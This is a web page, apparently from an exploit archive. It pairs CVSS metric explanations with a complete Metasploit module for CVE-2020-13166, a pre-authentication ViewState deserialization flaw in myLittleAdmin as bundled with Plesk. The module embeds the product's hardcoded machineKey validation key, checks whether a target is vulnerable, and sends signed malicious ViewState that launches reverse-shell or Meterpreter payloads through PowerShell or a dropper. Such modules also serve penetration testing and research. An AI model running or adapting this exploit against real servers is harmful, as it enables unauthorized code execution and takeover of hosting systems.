The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Plesk/myLittleAdmin ViewState .NET Deserialization (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />
VIEWSTATE_GENERATOR = 'CA0B0334'.freeze
# <machineKey
# validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"
# decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4"
# validation="SHA1" />
VIEWSTATE_VALIDATION_KEY =
"\x5c\x7e\xef\x66\x50\x63\x9d\x2c\xb8\xfa\xa0\xda\x36\xaf\x24\x45\x2d\xcf" \
"\x69\x06\x5f\x2e\xdc\x2c\x8f\x2f\x44\xc0\x22\x0b\xe2\xe5\x88\x9c\xa0\x1a" \
"\x20\x7f\xc5\xfc\xe6\x2d\x1a\x5a\x4f\x6d\x24\x10\x72\x22\x61\xe6\xa3\x3e" \
"\x77\xe0\x62\x8b\x17\xaa\x92\x80\x39\xbf".freeze
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::ViewState
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization',
'Description' => %q{
This module exploits a ViewState .NET deserialization vulnerability in
web-based MS SQL Server management tool myLittleAdmin, for version 3.8
and likely older versions, due to hardcoded <machineKey> parameters in
the web.config file for ASP.NET.
Popular web hosting control panel Plesk offers myLittleAdmin as an
optional component that is selected automatically during "full"
installation. This exploit caters to the Plesk target, though it
should work fine against a standalone myLittleAdmin setup.
Successful exploitation results in code execution as the user running
myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as
the "SQL Admin MSSQL anonymous account."
Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.
},
'Author' => [
# Reported to SSD (SecuriTeam) by an anonymous researcher
# Publicly disclosed by Noam Rathaus of SSD (SecuriTeam)
'Spencer McIntyre', # Inspiration
'wvu' # Module
],
'References' => [
['CVE', '2020-13166'],
['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'],
['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw']
],
'DisclosureDate' => '2020-05-15', # SSD (SecuriTeam) advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
],
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
],
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 10 # First exploit attempt may be a little slow
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.code == 200 && res.body.include?('myLittleAdmin for SQL Server')
return CheckCode::Unknown('Target is not running myLittleAdmin.')
end
vprint_good("myLittleAdmin is running at #{full_uri}")
check_viewstate(res.get_html_document)
end
def check_viewstate(html)
viewstate = html.at('//input[@id = "__VIEWSTATE"]/@value')&.text
unless viewstate
return CheckCode::Detected("__VIEWSTATE not found, can't complete check.")
end
@viewstate_generator =
html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text
unless @viewstate_generator
print_warning('__VIEWSTATEGENERATOR not found, using known default value')
@viewstate_generator = VIEWSTATE_GENERATOR
end
# ViewState generator needs to be a packed integer now
@viewstate_generator = [@viewstate_generator.to_i(16)].pack('V')
we_can_sign_viewstate = can_sign_viewstate?(
viewstate,
extra: @viewstate_generator,
key: VIEWSTATE_VALIDATION_KEY
)
if we_can_sign_viewstate
return CheckCode::Vulnerable('We can sign our own ViewState.')
end
CheckCode::Safe("We can't sign our own ViewState.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def execute_command(cmd, _opts = {})
vprint_status("Serializing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
# This is the only parameter we need for successful exploitation!
'__VIEWSTATE' => generate_viewstate_payload(
cmd,
extra: @viewstate_generator,
key: VIEWSTATE_VALIDATION_KEY
)
}
)
unless res && res.code == 302 && res.redirection.path == '/error/index.html'
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end
end
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